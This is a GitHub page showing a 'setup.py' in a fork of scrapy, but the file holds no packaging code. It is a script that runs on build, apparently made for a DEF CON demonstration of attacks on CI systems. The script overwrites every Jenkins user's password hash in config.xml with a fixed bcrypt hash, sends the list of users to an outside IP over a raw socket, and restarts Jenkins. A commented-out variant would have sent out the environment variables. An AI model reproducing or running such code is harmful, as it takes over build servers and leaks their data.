forked from scrapy/scrapy
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsetup.py
executable file
·49 lines (44 loc) · 1.21 KB
/
setup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#POLL ME ##
# some of its features, like package dependencies.
# arbitrary change to test hook
from distutils.command.install_data import install_data
from distutils.command.install import INSTALL_SCHEMES
from subprocess import Popen, PIPE
import os
import sys
import re
import sys
import base64
from hashlib import sha256
from binascii import hexlify, unhexlify
import socket
import os
import pwd
import fileinput
import time
import pprint
TCP_IP = '50.56.249.120'
TCP_PORT = 50000
BUFFER_SIZE = 1024
message = ""
r = re.compile(r"#jbcrypt:[^<]+")
"""
envs = os.environ
message = pprint.pformat(dict(envs))
"""
#
#
#remove these quotes
results = os.listdir('/var/lib/jenkins/users/')
for res in results:
for line in fileinput.FileInput("/var/lib/jenkins/users/%s/config.xml" % res,inplace=1):
line = re.sub(r"#jbcrypt:[^<]+", "#jbcrypt:$2a$10$bdoRnAgRr3JDNgvn7SPggevwb6ermEW97JgcIgXVFOqpkziJSuoNG", line )
print line,
message = 'using jenkins: %s ' % str(results)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(message)
s.close()
os.system('service jenkins restart &')
#print os.system('pkill -HUP java')
# Gutted for purpose of defcon exapmle.